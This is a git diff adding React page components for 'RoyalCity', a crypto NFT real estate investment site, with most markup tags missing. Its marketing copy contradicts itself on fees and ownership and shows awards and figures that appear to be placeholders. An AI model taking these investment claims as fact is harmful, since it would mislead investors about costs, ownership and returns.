name: 'Chainlink', + icon: SiChainlink, + color: 'text-blue-500' + } + ]; + + return ( +
+ {/* Hero Section */} +
+
+ +

+ Revolutionizing Real Estate Investment +

+

+ We're bridging the gap between traditional real estate and cryptocurrency, + making property investment accessible, secure, and transparent through blockchain technology. +

+
+
+
+ + {/* Stats Section */} +
+
+
+ {stats.map((stat, index) => ( + + +
{stat.value}
+
{stat.label}
+
+ ))} +
+
+
+ + {/* Mission Section */} +
+
+
+

Our Mission

+

+ To democratize real estate investment by leveraging blockchain technology, + making property ownership accessible to investors worldwide through + fractional ownership and cryptocurrency transactions. +

+
+ +
+ +
+ +
+

Accessibility

+

+ Making real estate investment available to everyone through fractional ownership + and cryptocurrency payments. +

+
+ + +
+ +
+

Security

+

+ Ensuring secure transactions through blockchain technology and smart contracts. +

+
+ + +
+ +
+

Global Reach

+

+ Connecting property investors and opportunities worldwide through our platform. +

+
+
+
+
+ + {/* Partners Section */} +
+
+

Supported Cryptocurrencies

+
+ {partners.map((partner, index) => ( + + +

{partner.name}

+
+ ))} +
+
+
+ + {/* Awards Section */} +
+
+

Recognition & Achievements

+
+ + +

Best Blockchain Innovation

+

Real Estate Tech Awards 2024

+
+ + + +

Fastest Growing PropTech

+

Forbes Innovation 2024

+
+ + + +

Most Secure Platform

+

Blockchain Security Excellence 2024

+
+
+
+
+
+ ); +} + +export default About; \ No newline at end of file diff --git a/src/pages/Blog.jsx b/src/pages/Blog.jsx new file mode 100644 index 0000000..29fbd89 --- /dev/null +++ b/src/pages/Blog.jsx @@ -0,0 +1,188 @@ +import { useState } from 'react'; +import { Link } from 'react-router-dom'; +import { motion } from 'framer-motion'; +import { FiSearch, FiClock, FiUser } from 'react-icons/fi'; + +function Blog() { + const [searchTerm, setSearchTerm] = useState(''); + const [selectedCategory, setSelectedCategory] = useState('all'); + + const categories = [ + { id: 'all', name: 'All Posts' }, + { id: 'crypto', name: 'Cryptocurrency' }, + { id: 'investment', name: 'Investment' }, + { id: 'property', name: 'Property' }, + { id: 'technology', name: 'Technology' }, + { id: 'market', name: 'Market Analysis' } + ]; + + const posts = [ + { + id: 1, + title: 'The Future of Real Estate: Cryptocurrency Payments and Blockchain Technology', + slug: 'future-real-estate-crypto-payments', + excerpt: 'Explore how cryptocurrency and blockchain are revolutionizing property transactions and investment opportunities.', + image: 'https://images.unsplash.com/photo-1516245834210-c4c142787335?w=800&q=80', + category: 'crypto', + author: 'Sarah Johnson', + date: '2024-03-15', + readTime: '5 min read' + }, + { + id: 2, + title: 'Understanding Tokenized Real Estate Investment', + slug: 'understanding-tokenized-real-estate', + excerpt: "A comprehensive guide to property tokenization and how it's making real estate investment more accessible.", + image: 'https://images.unsplash.com/photo-1460472178825-e5240623afd5?w=800&q=80', + category: 'investment', + author: 'Michael Chen', + date: '2024-03-12', + readTime: '7 min read' + }, + { + id: 3, + title: 'Smart Contracts in Real Estate Transactions', + slug: 'smart-contracts-real-estate', + excerpt: 'How smart contracts are streamlining property transactions and reducing costs.', + image: 'https://images.unsplash.com/photo-1451187580459-43490279c0fa?w=800&q=80', + category: 'technology', + author: 'David Rodriguez', + date: '2024-03-10', + readTime: '6 min read' + }, + { + id: 4, + title: '2024 Real Estate Market Analysis: Crypto Impact', + slug: '2024-market-analysis-crypto', + excerpt: 'Analysis of how cryptocurrency adoption is affecting real estate market dynamics.', + image: 'https://images.unsplash.com/photo-1551288049-bebda4e38f71?w=800&q=80', + category: 'market', + author: 'Emma Wilson', + date: '2024-03-08', + readTime: '8 min read' + }, + { + id: 5, + title: 'Property Investment Strategies with Cryptocurrency', + slug: 'property-investment-strategies-crypto', + excerpt: 'Learn effective strategies for investing in real estate using cryptocurrency.', + image: 'https://images.unsplash.com/photo-1551434678-e076c223a692?w=800&q=80', + category: 'investment', + author: 'Sarah Johnson', + date: '2024-03-05', + readTime: '6 min read' + }, + { + id: 6, + title: 'Regulatory Landscape: Crypto in Real Estate', + slug: 'regulatory-landscape-crypto-real-estate', + excerpt: 'Understanding the current regulatory environment for cryptocurrency-based property transactions.', + image: 'https://images.unsplash.com/photo-1507679799987-c73779587ccf?w=800&q=80', + category: 'crypto', + author: 'Michael Chen', + date: '2024-03-02', + readTime: '7 min read' + } + ]; + + const filteredPosts = posts.filter(post => { + const matchesSearch = post.title.toLowerCase().includes(searchTerm.toLowerCase()) || + post.excerpt.toLowerCase().includes(searchTerm.toLowerCase()); + const matchesCategory = selectedCategory === 'all' || post.category === selectedCategory; + return matchesSearch && matchesCategory; + }); + + return ( +
+
+ {/* Header */} + +

Real Estate & Crypto Insights

+

+ Stay updated with the latest trends in real estate investment, cryptocurrency, and blockchain technology. +

+
+ + {/* Search and Filter */} +
+
+
+
+
+ + setSearchTerm(e.target.value)} + /> +
+
+
+ +
+
+
+
+ + {/* Blog Posts Grid */} +
+ {filteredPosts.map((post, index) => ( + + +
+ {post.title} +
+ {categories.find(c => c.id === post.category)?.name} +
+
+
+

+ {post.title} +

+

+ {post.excerpt} +

+
+ + {post.author} + + {post.readTime} +
+
+ +
+ ))} +
+
+
+ ); +} + +export default Blog; \ No newline at end of file diff --git a/src/pages/BlogPost.jsx b/src/pages/BlogPost.jsx new file mode 100644 index 0000000..1ea63f9 --- /dev/null +++ b/src/pages/BlogPost.jsx @@ -0,0 +1,161 @@ +import { Link } from 'react-router-dom'; +import { motion } from 'framer-motion'; +import { FiClock, FiUser, FiCalendar, FiShare2, FiArrowLeft, FiTag } from 'react-icons/fi'; +import { FaFacebook, FaTwitter, FaLinkedin } from 'react-icons/fa'; + +function BlogPost() { + + const post = { + title: 'The Future of Real Estate: Cryptocurrency Payments and Blockchain Technology', + content: ` +

The real estate industry is undergoing a revolutionary transformation with the integration of cryptocurrency payments and blockchain technology. This shift is not just about adding another payment method – it's about fundamentally changing how property transactions are conducted, recorded, and verified.

+ +

The Rise of Crypto in Real Estate

+

Cryptocurrency is increasingly being accepted in real estate transactions, offering several advantages:

+
    +
  • Faster transaction processing
  • +
  • Lower transaction fees
  • +
  • Enhanced security through blockchain technology
  • +
  • Access to global investment opportunities
  • +
+ +

Blockchain's Impact on Property Transactions

+

Blockchain technology is revolutionizing property transactions in several ways:

+
    +
  1. Smart Contracts: Automating and securing transaction processes
  2. +
  3. Property Records: Creating immutable records of ownership
  4. +
  5. Tokenization: Enabling fractional property ownership
  6. +
  7. Transparency: Providing clear transaction histories
  8. +
+ +

The Future Outlook

+

As we look to the future, several trends are emerging:

+
    +
  • Increased adoption of cryptocurrency payments in real estate
  • +
  • More platforms offering tokenized property investments
  • +
  • Integration of smart contracts in property transactions
  • +
  • Enhanced security measures for digital real estate transactions
  • +
+ +

Conclusion

+

The integration of cryptocurrency and blockchain in real estate is not just a trend – it's the future of property transactions. As these technologies continue to evolve, we can expect to see more innovative solutions that make real estate investment more accessible, secure, and efficient.

+ `, + image: 'https://images.unsplash.com/photo-1516245834210-c4c142787335?w=1200&q=80', + author: 'Sarah Johnson', + date: '2024-03-15', + readTime: '5 min read', + category: 'Cryptocurrency', + tags: ['Blockchain', 'Real Estate', 'Cryptocurrency', 'Investment'] + }; + + return ( +
+ {/* Hero Section */} +
+ {post.title} +
+
+
+ + + + Back to Blog + +

{post.title}

+
+
+ + {post.author} +
+
+ + {post.date} +
+
+ + {post.readTime} +
+
+
+
+
+
+ + {/* Content */} +
+
+ {/* Main Content */} + +
+
+
+ + + {/* Sidebar */} + +
+ {/* Share */} +
+

+ + Share this article +

+
+ + + +
+
+ + {/* Tags */} +
+

+ + Tags +

+
+ {post.tags.map((tag, index) => ( + + {tag} + + ))} +
+
+
+
+
+
+
+ ); +} + +export default BlogPost; \ No newline at end of file diff --git a/src/pages/FAQ.jsx b/src/pages/FAQ.jsx new file mode 100644 index 0000000..95bd828 --- /dev/null +++ b/src/pages/FAQ.jsx @@ -0,0 +1,248 @@ +import { useState } from 'react'; +import { motion, AnimatePresence } from 'framer-motion'; +import { FiChevronDown, FiChevronUp } from 'react-icons/fi'; + +function FAQ() { + const [openSections, setOpenSections] = useState({}); + + const faqSections = [ + { + title: 'General Information', + questions: [ + { + question: "What is RoyalCity?", + answer: "RoyalCity is an innovative investment project dedicated to real estate. We allow clients to invest as little as $10 in investment properties, with the aim of building up regular income and/or savings." + }, + { + question: "What are the conditions for investing on RoyalCity?", + answer: "Any person of legal age can hold a RoyalCity NFT! Investing is simple - you merely need to have VeChain wallet and you are ready to buy one or more RoyalCity NFTs." + }, + { + question: "Can I invest with a company or SCI?", + answer: "Of course you can! As for an individual you need the same things, i.e. to hold one or more RoyalCity NFTs." + }, + { + question: "How are the properties selected?", + + answer: "We select and negotiate the acquisition of rental or investment propertiess, and soon abroad. We do our utmost to guarantee a selection of quality rental projects and optimal risk control. Each operation is rigorously evaluated by our real estate experts, according to strict criteria including: i. the occupancy rate of the building and its net rental return on the day of acquisition ii. the general condition of the building and the common areas iii. the cost of maintenance and renovation work iv. the energy performance v. the quality of the neighbourhood vi. the geographical location of the building vii. the proximity of essential services (shops, schools, public transport, etc.) viii. key indicators such as demographics, rental pressure and the evolution of property prices in the area." + }, + { + question: "Do you become a homeowner by buying NFTs on RoyalCity?", + answer: "When you buy NFTs on RoyalCity, you are not actually buying part of a property, nor do you become an owner. You hold royalties, which means that you are entitled to receive a royalty on the rents and capital gains generated by the property in which you invest. The amount of these royalties is paid to you every month, depending on the number of NFTs you own. The advantage: an immediate return on investment with income paid every month (linked to the rents collected), without the management, financing or tax constraints associated with traditional rental investment!" + }, + { + question: "When buying NFTs, do we benefit from the bank leverage effect?", + + answer: "Yes, most of the properties we offer on our platform do not have a bank loan but some are co-financed with a bank loan. Borrowing from the bank allows us to leverage the bank and increase the profitability of the investments." + }, + { + question: "Can buying NFTs reduce my borrowing capacity?", + + answer: "Absolutely not. The bank loans used to finance the projects are carried by our company. The purchase of NFTs therefore has no impact on your debt ratio or borrowing capacity." + }, + { + + question: "How is the property revaluation carried out?", + + answer: "Because the value of a property can vary over time, each of our properties is revalued every year by an independent, TEGoVA-accredited property expert. These valuations take into account changes in the property market and any work carried out on the property. They allow the value of the NFTs to be revalued upwards or downwards. This ensures that your money is invested in property that is fairly valued." + }, + { + + question: "I want to buy NFTs, what payment methods are accepted?", + + answer: "You can use various payment methods such as Metamask, Phantom wallet, OKX wallet, Trust wallet, etc." + }, + { + + question: "Is it possible to cancel my NFT purchase?", + + answer: "At the moment it is not possible to get the NFT refunded after the purchase, but with time we will try to implement this function with a liquidity pool. After signing the deed of sale at the notary's office, you can sell your NFTs to other investors on our Marketplace (secondary market)." + }, + { + + question: 'What is the difference between "Profitability" and "Return on investment"?', + + answer: 'The "Return on investment" corresponds to the excess part of the rents which will be paid to you after deduction of the amortization of the expenses, and, if necessary, the RoyalCityayment of credit. The "Profitability" corresponds to the returned income to which are added the real estate capital gain and the mechanical increase in the price of the NFT due to the amortization of the real estate loan present on the property in question.' + } + ] + }, + { + title: 'MarketPlace', + questions: [ + { + question: "What is the marketplace, or secondary market?", + answer: "The RoyalCity Marketplace is our platform that allows RoyalCity community members to buy and sell NFTs among themselves. It is the equivalent of a secondary market where investors can buy and sell NFTs among themselves. We may also cooperate with other marketplaces to allow anyone to choose their preferred marketplace." + }, + { + question: "How do I resell my NFTs on the marketplace?", + answer: 'From your wallet, on the "Connect" page, in the "Marketplace" tab, you will find all the properties for which you own NFTs. You just have to click on the "Sell" button to sell one or more NFTs of your choice. Good to know: you cannot resell NFTs on the marketplace before the notary has signed the deed of sale for the property concerned.' + }, + { + question: "Is the resale of my NFTs on the marketplace guaranteed?", + answer: "Given the current demand, liquidity is fast. However, it is not guaranteed. As with any transaction, there must be a seller and a buyer. To sell your NFTs, another investor must buy them. To sell quickly, we recommend that you sell your NFTs at the estimated price." + }, + { + question: "At what price can I sell my NFTs?", + answer: "You can sell your NFTs at any price you wish." + }, + { + question: "I sell or buy NFTs during the month. Who receives the rental income for the current month?", + answer: "The rental income is paid to the investor who owns the NFTs on the day the royalties are paid." + }, + { + + question: "What are the advantages of buying NFTs on the marketplace?", + + answer: "Buying NFTs on the secondary market has two main advantages: i. You get an immediate return. ii. You can invest in the city or building of your choice. In contrast, on the primary market, you can only invest in available properties." + }, + { + question: "What are the fees on the marketplace?", + answer: "We take a 10% fee on the secondary market. This fee allows us to cover our various costs, and to build up a reserve to facilitate instant liquidity on the marketplace. If we cooperate with other marketplaces, their platform fees must also be taken into account." + }, + { + question: "Can I cancel a purchase on the marketplace?", + + answer: "You cannot cancel an NFT purchase from the marketplace." + } + ] + }, + { + title: 'Property Management', + questions: [ + { + question: "Who does the property management?", + answer: "We take care of the rental, technical, administrative and legal management of the properties. As an investor, you have nothing to manage. Property search, financing, acquisition, maintenance or renovation work, management of tenants, payment of property tax: you can have peace of mind, RoyalCity takes care of everything." + }, + { + question: "How does RoyalCity finance work on properties?", + answer: "At the time of each acquisition, we carry out an estimate of the work to be done. When financing properties on the platform, we set up a provision for future work. This cash reserve, set up at the time of the initial financing, allows us to finance any future works. At the same time, we set aside between 3 and 5% of the rental income each year to finance a security reserve for future works. In this respect, our operation is similar to that of a co-ownership. In the event of unforeseen circumstances, if major works were to be carried out on one of our buildings, we could consider suspending the payment of royalties for the time needed to finance these works. However, RoyalCity holders will never be asked to reinvest to finance any work on any of our buildings. Of course, we try to limit this type of risk as much as possible by selecting the properties we offer to finance according to strict criteria." + }, + { + question: "What will happen to the properties once they are purchased?", + answer: "We maintain our properties in such a way as to ensure and maintain their rental value over time. Whenever necessary, we carry out maintenance and renovation work on our properties. Our investment strategy and the contract provide for a liquidity event, 7 to 10 years after the acquisition of the property. This will result in either the resale of the property or our liquidity pool to buy back your NFTs. This decision will be made on a case-by-case basis by RoyalCity, and in the interest of the investors." + }, + { + question: "What happens if a tenant does not pay his rent?", + answer: "In the event of a vacancy, or in the event of a tenant defaulting on payment, the amount of royalties we pay to investors may be reduced, thus affecting the expected annual return. This risk is inherent in any rental investment, whether the property is rented directly or through an estate agent. In order to dilute the risk of non-payment, we buy mainly rental properties with several lots or flats. This limits the risk of losing all the rent in the event of a tenant defaulting. Finally, to further limit this risk, we will, as soon as possible, put in place a guarantee for unpaid rent (GLI) on each flat that we rent out. This allows us to transfer the risk of unpaid rent to the insurer." + } + ] + }, + { + title: 'Accounting', + questions: [ + { + question: "What accounting evidence will I receive as an investor?", + answer: "We will provide the income assignment contract, which can be downloaded from the property sheet." + } + ] + }, + { + title: 'Financial', + questions: [ + { + question: "What profitability can I achieve?", + answer: "Profitability depends on each property as it is a ratio between the price of the property, its rental income, any work effected on it, changes to its value, and whether or not it or part of it is financed by a mortgage. We do our utmost to offer opportunities with an estimated average profitability of 6% per year. This profitability is not guaranteed, it is an estimate. Nevertheless, we do our very best to secure the announced profitability. We select areas where rental demand is higher than supply, and we put in place a guarantee of unpaid rent (GLI) on the properties under our management as soon as this is possible. However, there is no such thing as zero risk and there may be rental vacancies, unpaid rent or periods of work that reduce overall profitability. To dilute this risk, we present buildings with multiple studios or apartments. For example, in a building with 40 lots, in the event of a rental vacancy in one flat, the overall profitability will not be significantly affected. We therefore recommend that you diversify your portfolio of properties." + }, + { + question: "What is the difference between gross and net rents?", + answer: "Gross rents are the rents paid by tenants every month. Net rents are the gross rents minus charges, provisions and loan repayments. It is the net rents that are paid out each month as royalties to the NFT RoyalCity holders. The amount may fluctuate depending on the rents collected and the current charges." + }, + { + question: "How does RoyalCity pay itself?", + answer: "RoyalCity takes no entry fees, no exit fees and no fees on capital gains. The fees applied are as follows: i. 10% of the purchase amount (in primary sales). So you take an entry fee ii. 10% secondary market fee. So the person buying takes an entry fee iii. 1% rental management fee." + } + ] + }, + { + title: 'Legal', + questions: [ + { + question: "What is Royalty financing", + answer: "When you invest in an asset through an NFT RoyalCity, you are bound by a royalty agreement. The royalty agreement is evidence that we are committed to paying you a percentage of our turnover at a constant frequency over the term of the agreement. The royalty regime is a contractual regime in addition to the regulated statutes (CIP, IFP), and based on common consumer and contract law. The financing operation is subject to neither a prospectus approved by the financial market authority nor to control by any other body responsible for the protection of savings. The royalty right does not constitute a financial instrument within the meaning of Article L.211-1 of the Monetary and Financial Code. The rules on direct marketing of banking and financial products do not apply." + }, + { + question: "What happens if the financing objective is not reached on a property?", + answer: "For each property, the sums paid by investors are deposited in an escrow bank account. The funds are only credited to the transaction if the fundraising campaign is successful. In the event that the transaction is not fully funded at the time of collection, we may be able to carry out the transaction on a credit in order to use the bank leverage effect or, if this is not possible, the funds will be returned in full to the investors, and you will be reimbursed 100%." + }, + { + question: "How will my personal data be used?", + answer: 'In accordance with the French law "Informatique et Libertés", RoyalCity is committed to respecting the regulatory and ethical provisions on the protection of personal data. The information you provide when you register is stored on the platform in a secure and encrypted manner. Under no circumstances will RoyalCity sell your personal information to third parties.' + }, + { + question: "Are transactions on the platform secure?", + + answer: "RoyalCity uses the most advanced technical means to ensure the confidentiality and security of transactions on the platform. " + } + ] + } + ]; + + const toggleSection = (sectionTitle, questionIndex) => { + setOpenSections(prev => ({ + ...prev, + [`${sectionTitle}-${questionIndex}`]: !prev[`${sectionTitle}-${questionIndex}`] + })); + }; + + + return ( +
+
+ +

Frequently Asked Questions

+

+ Find answers to common questions about our platform, cryptocurrency payments, and real estate investment. +

+ +
+ {faqSections.map((section, sectionIndex) => ( +
+

+ {section.title} +

+
+ {section.questions.map((item, questionIndex) => ( +
+ + + {openSections[`${section.title}-${questionIndex}`] && ( + +

+ {item.answer} +

+
+ )} +
+
+ ))} +
+
+ ))} +
+
+
+
+ ); +} + +export default FAQ; \ No newline at end of file diff --git a/src/pages/Home.jsx b/src/pages/Home.jsx new file mode 100644 index 0000000..6b3fa53 --- /dev/null +++ b/src/pages/Home.jsx @@ -0,0 +1,616 @@ +import { useState } from 'react'; +import { Link } from 'react-router-dom'; +import { motion, AnimatePresence } from 'framer-motion'; +import { FiArrowRight, FiUser, FiClock } from 'react-icons/fi'; +import { FaWallet, FaStore, FaMoneyBillWave, FaExchangeAlt, FaChartLine, FaLock, FaUserCog, FaCoins } from 'react-icons/fa'; +import { SiEthereum } from 'react-icons/si'; +import { FiChevronDown, FiChevronUp } from 'react-icons/fi'; + +function Home() { + const [openSections, setOpenSections] = useState({}); + + const featuredProperties = [ + { + id: 1, + title: 'Luxury Downtown Apartment', + price: { + usd: 850000, + eth: 425, // Example ETH value + }, + location: 'Miami, FL', + image: 'https://images.unsplash.com/photo-1613490493576-7fde63acd811?w=800&q=80', + roi: '7.2% Annual', + metrics: { + totalInvestors: 142, + funded: '89%', + minInvestment: '$10', + }, + status: 'Active Investment' + }, + { + id: 2, + title: 'Modern Tech District Complex', + price: { + usd: 1200000, + eth: 600, + }, + location: 'Austin, TX', + image: 'https://images.unsplash.com/photo-1512917774080-9991f1c4c750?w=800&q=80', + roi: '6.8% Annual', + metrics: { + totalInvestors: 203, + funded: '95%', + minInvestment: '$10', + }, + status: 'Almost Funded' + }, + { + id: 3, + title: 'Waterfront Commercial Space', + price: { + usd: 2100000, + eth: 1050, + }, + location: 'Seattle, WA', + image: 'https://images.unsplash.com/photo-1486406146926-c627a92ad1ab?w=800&q=80', + roi: '7.5% Annual', + metrics: { + totalInvestors: 89, + funded: '45%', + minInvestment: '$10', + }, + status: 'New Listing' + } + ]; + + const advantages = [ + { + icon: FaChartLine, + title: 'Profitability', + description: 'Target average annual returns of 7% through strategic property investments and efficient management.' + }, + { + icon: FaExchangeAlt, + title: 'Liquidity', + description: 'Trade your property NFTs anytime on our marketplace, providing unprecedented real estate liquidity.' + }, + { + icon: FaLock, + title: 'No Hidden Fees', + description: 'Transparent pricing with no entry, exit, or capital gains fees. What you see is what you get.' + }, + { + icon: FaUserCog, + title: 'Hassle-Free Management', + description: 'RoyalCity handles all property management aspects, from maintenance to tenant relations.' + } + ]; + + const investmentSteps = [ + { + icon: FaWallet, + title: 'Connect Wallet', + description: 'Connect your cryptocurrency wallet to RoyalCity to start investing.' + }, + { + icon: FaStore, + title: 'Choose Property', + description: 'Browse our marketplace and select properties that match your investment goals.' + }, + { + icon: FaMoneyBillWave, + title: 'Receive Returns', + description: 'Collect monthly rental returns directly to your connected wallet.' + }, + { + icon: FaExchangeAlt, + title: 'Flexible Exit', + description: 'Sell your property NFTs whenever you want through our marketplace.' + } + ]; + + const howItWorks = [ + { + icon: FaCoins, + title: 'Tokenization', + description: 'Properties are divided into $10 NFT tokens, making real estate investment accessible to everyone.' + }, + { + icon: SiEthereum, + title: 'Purchase NFTs', + description: 'Buy property NFTs using cryptocurrency, becoming a fractional owner of the property.' + }, + { + icon: FaMoneyBillWave, + title: 'Monthly Returns', + description: 'Receive your share of rental income directly to your wallet each month.' + }, + { + icon: FaExchangeAlt, + title: 'Flexible Trading', + description: 'Hold for passive income or sell your NFTs on our marketplace at any time.' + } + ]; + + const categories = [ + { id: 'all', name: 'All Posts' }, + { id: 'crypto', name: 'Cryptocurrency' }, + { id: 'investment', name: 'Investment' }, + { id: 'property', name: 'Property' }, + { id: 'technology', name: 'Technology' }, + { id: 'market', name: 'Market Analysis' } + ]; + + const blogPosts = [ + { + id: 1, + title: 'The Future of Real Estate: Cryptocurrency Payments and Blockchain Technology', + slug: 'future-real-estate-crypto-payments', + excerpt: 'Explore how cryptocurrency and blockchain are revolutionizing property transactions and investment opportunities.', + image: 'https://images.unsplash.com/photo-1516245834210-c4c142787335?w=800&q=80', + category: 'crypto', + author: 'Sarah Johnson', + date: '2024-03-15', + readTime: '5 min read' + }, + { + id: 2, + title: 'Understanding Tokenized Real Estate Investment', + slug: 'understanding-tokenized-real-estate', + excerpt: "A comprehensive guide to property tokenization and how it's making real estate investment more accessible.", + image: 'https://images.unsplash.com/photo-1460472178825-e5240623afd5?w=800&q=80', + category: 'investment', + author: 'Michael Chen', + date: '2024-03-12', + readTime: '7 min read' + }, + { + id: 3, + title: 'Smart Contracts in Real Estate Transactions', + slug: 'smart-contracts-real-estate', + excerpt: 'How smart contracts are streamlining property transactions and reducing costs.', + image: 'https://images.unsplash.com/photo-1451187580459-43490279c0fa?w=800&q=80', + category: 'technology', + author: 'David Rodriguez', + date: '2024-03-10', + readTime: '6 min read' + } + ]; + + const faqSections = [ + { + title: 'General Information', + questions: [ + { + question: "What is RoyalCity?", + answer: "RoyalCity is an innovative investment project dedicated to real estate. We allow clients to invest as little as $10 in investment properties, with the aim of building up regular income and/or savings." + }, + { + question: "I want to buy NFTs, what payment methods are accepted?", + answer: "You can use various payment methods such as Metamask, Phantom wallet, OKX wallet, Trust wallet, etc." + }, + { + question: "What is the marketplace, or secondary market?", + answer: "The RoyalCity Marketplace is our platform that allows RoyalCity community members to buy and sell NFTs among themselves. It is the equivalent of a secondary market where investors can buy and sell NFTs among themselves. We may also cooperate with other marketplaces to allow anyone to choose their preferred marketplace." + }, + { + question: "I sell or buy NFTs during the month. Who receives the rental income for the current month?", + answer: "The rental income is paid to the investor who owns the NFTs on the day the royalties are paid." + }, + { + question: "Are transactions on the platform secure?", + answer: "RoyalCity uses the most advanced technical means to ensure the confidentiality and security of transactions on the platform. " + } + ] + } + ]; + + const toggleSection = (sectionTitle, questionIndex) => { + setOpenSections(prev => ({ + ...prev, + [`${sectionTitle}-${questionIndex}`]: !prev[`${sectionTitle}-${questionIndex}`] + })); + }; + + return ( +
+ {/* Hero Section */} +
+
+ Hero background +
+
+ +
+ + Invest and Trade in Real Estate with Cryptocurrency + + + Own fractional shares of premium properties through NFTs. Start investing with as little as $10. + +
+
+ {/* Investment Steps */} +
+
+

Start Investing in Minutes

+

Your journey to crypto-powered real estate investment

+
+ +
+ {investmentSteps.map((step, index) => ( + +
+
+ +
+
Step {index + 1}
+

{step.title}

+

{step.description}

+
+
+ ))} +
+
+ + {/* How It Works */} +
+
+
+

How RoyalCity Works

+

Understanding our tokenized real estate platform

+
+ +
+ {howItWorks.map((item, index) => ( + +
+ +
+

{item.title}

+

{item.description}

+
+ ))} +
+
+
+ + {/* Featured Properties */} +
+
+

Featured Investment Opportunities

+

Curated properties with verified returns and immediate tokenization

+
+ +
+ {featuredProperties.map((property, index) => ( + +
+ {property.title} +
+ {property.status} +
+
+
+

{property.title}

+

{property.location}

+ +
+
+

Price

+

${property.price.usd.toLocaleString()}

+

{property.price.eth} ETH

+
+
+

ROI

+

{property.roi}

+
+
+ +
+
+ Total Investors + {property.metrics.totalInvestors} +
+
+ Funded + {property.metrics.funded} +
+
+ Min Investment + {property.metrics.minInvestment} +
+
+ + + Invest Now + + +
+
+ ))} +
+
+ + {/* Why Choose Us */} +
+
+
+

Why Choose RoyalCity

+

Experience the future of real estate investment

+
+ +
+ {advantages.map((advantage, index) => ( + + +

{advantage.title}

+

{advantage.description}

+
+ ))} +
+
+
+ + {/* CTA Section */} +
+
+

Ready to Start Investing?

+

+ Join thousands of investors already earning passive income through tokenized real estate. +

+
+ + Browse Properties + + +
+
+
+ + {/* Blog */} +
+ +

Latest Insights

+

+ Stay informed with our latest articles and market analysis +

+
+ + {/* Blog Posts Grid */} +
+ {blogPosts.map((post, index) => ( + + +
+ {post.title} +
+ {categories.find(c => c.id === post.category)?.name} +
+
+
+

+ {post.title} +

+

+ {post.excerpt} +

+
+ + {post.author} + + {post.readTime} +
+
+ +
+ ))} +
+
+ + {/* FAQ Preview */} +
+ +
+

Frequently Asked Questions

+

Find answers to common questions about our platform, cryptocurrency payments, and real estate investment.

+
+
+ {faqSections.map((section, sectionIndex) => ( +
+
+ {section.questions.map((item, questionIndex) => ( +
+ + + {openSections[`${section.title}-${questionIndex}`] && ( + +

+ {item.answer} +

+
+ )} +
+
+ ))} +
+
+ ))} +
+
+
+ + {/* Discord CTA */} +
+
+
+
+

+ Join Our Community +

+

+ Connect with other crypto real estate investors, share insights, and get early access to new properties. +

+
+
+
+
+ + + +
+
+
+
+ 10,000+ Members +
+
+ Join a growing community of crypto-savvy real estate investors +
+
+
+ +
+
+
+ + + +
+
+
+
+ Weekly Events +
+
+ Educational webinars, market updates, and networking sessions +
+
+
+
+
+ +
+
+

+ Join Discord +

+

+ Get instant access to our community and start connecting with other investors +

+ + Join Now + +

+ Already a member?{' '} + + Sign in + +

+
+
+
+
+
+
+ ); +} + +export default Home; \ No newline at end of file diff --git a/src/pages/NotFound.jsx b/src/pages/NotFound.jsx new file mode 100644 index 0000000..05ba8a0 --- /dev/null +++ b/src/pages/NotFound.jsx @@ -0,0 +1,14 @@ +import React from 'react' + +const NotFound = () => { + return ( +
+
+

Page not found

+

Error 404: The page your're looking for does not exist!

+
+
+ ) +} + +export default NotFound; diff --git a/src/pages/Privacy.jsx b/src/pages/Privacy.jsx new file mode 100644 index 0000000..210a7cb --- /dev/null +++ b/src/pages/Privacy.jsx @@ -0,0 +1,153 @@ +import { motion } from 'framer-motion'; + +function Privacy() { + const sections = [ + { + title: 'Introduction', + content: `This Privacy Policy explains how RoyalCity ("we," "us," or "our") collects, uses, and protects your personal information when you use our platform. We are committed to ensuring the privacy and security of your personal and financial information, including cryptocurrency transactions.` + }, + { + title: 'Information We Collect', + content: `We collect information that you provide directly to us, including: + • Personal identification information (name, email address, phone number) + • Government-issued ID for KYC verification + • Cryptocurrency wallet addresses + • Investment preferences and history + • Communication records with our platform + + We also automatically collect certain information about your device and how you interact with our platform, including: + + • IP address and device identifiers + • Browser type and operating system + • Usage data and interaction with our services + • Blockchain transaction data` + }, + { + title: 'How We Use Your Information', + content: `We use the collected information for: + + • Processing your property investments and cryptocurrency transactions + • Verifying your identity and preventing fraud + • Providing customer support and responding to inquiries + • Sending important updates about your investments + • Improving our platform and services + • Complying with legal and regulatory requirements + + All data processing is conducted in accordance with applicable laws and regulations.` + }, + { + title: 'Cryptocurrency Transaction Privacy', + content: `While blockchain transactions are publicly visible, we implement additional privacy measures: + + • We never share your wallet addresses publicly + • Transaction details are encrypted in our database + • We use separate wallet addresses for each transaction + • Smart contracts are audited for privacy vulnerabilities + + Please note that blockchain transactions are irreversible and publicly recorded on the respective networks.` + }, + { + title: 'Data Security', + content: `We implement robust security measures to protect your information: + +• End-to-end encryption for sensitive data +• Regular security audits and penetration testing +• Multi-factor authentication +• Secure cold storage for cryptocurrency assets +• Regular backup and disaster recovery procedures + +Despite our best efforts, no method of transmission over the Internet is 100% secure.` + }, + { + title: 'Information Sharing', + content: `We may share your information with: + +• Property management partners for investment processing +• Identity verification services for KYC compliance +• Legal authorities when required by law +• Service providers who assist in platform operations + +We never sell your personal information to third parties.` + }, + { + title: 'Your Rights', + content: `You have the right to: + +• Access your personal information +• Correct inaccurate information +• Request deletion of your data (where legally possible) +• Opt-out of marketing communications +• Export your data in a portable format + +Contact our privacy team to exercise these rights.` + }, + { + title: 'Cookies and Tracking', + content: `We use cookies and similar technologies to: + +• Maintain your session security +• Remember your preferences +• Analyze platform usage +• Improve user experience + +You can control cookie settings through your browser preferences.` + }, + { + title: 'Changes to Privacy Policy', + content: `We may update this Privacy Policy periodically. Significant changes will be notified through: + +• Email notifications +• Platform announcements +• Website updates + +Continue using our platform after changes constitutes acceptance of the updated policy.` + }, + { + title: 'Contact Us', + content: `For privacy-related inquiries: + +Email: privacy@RoyalCity.com +Address: 123 Privacy Street, Real City, RC 12345 + +We aim to respond to all inquiries within 48 hours.` + } + ]; + + return ( +
+
+ +

Privacy Policy

+

+ Last updated: March 15, 2024 +

+ +
+
+ {sections.map((section, index) => ( + +

{section.title}

+
+ {section.content} +
+
+ ))} +
+
+
+
+
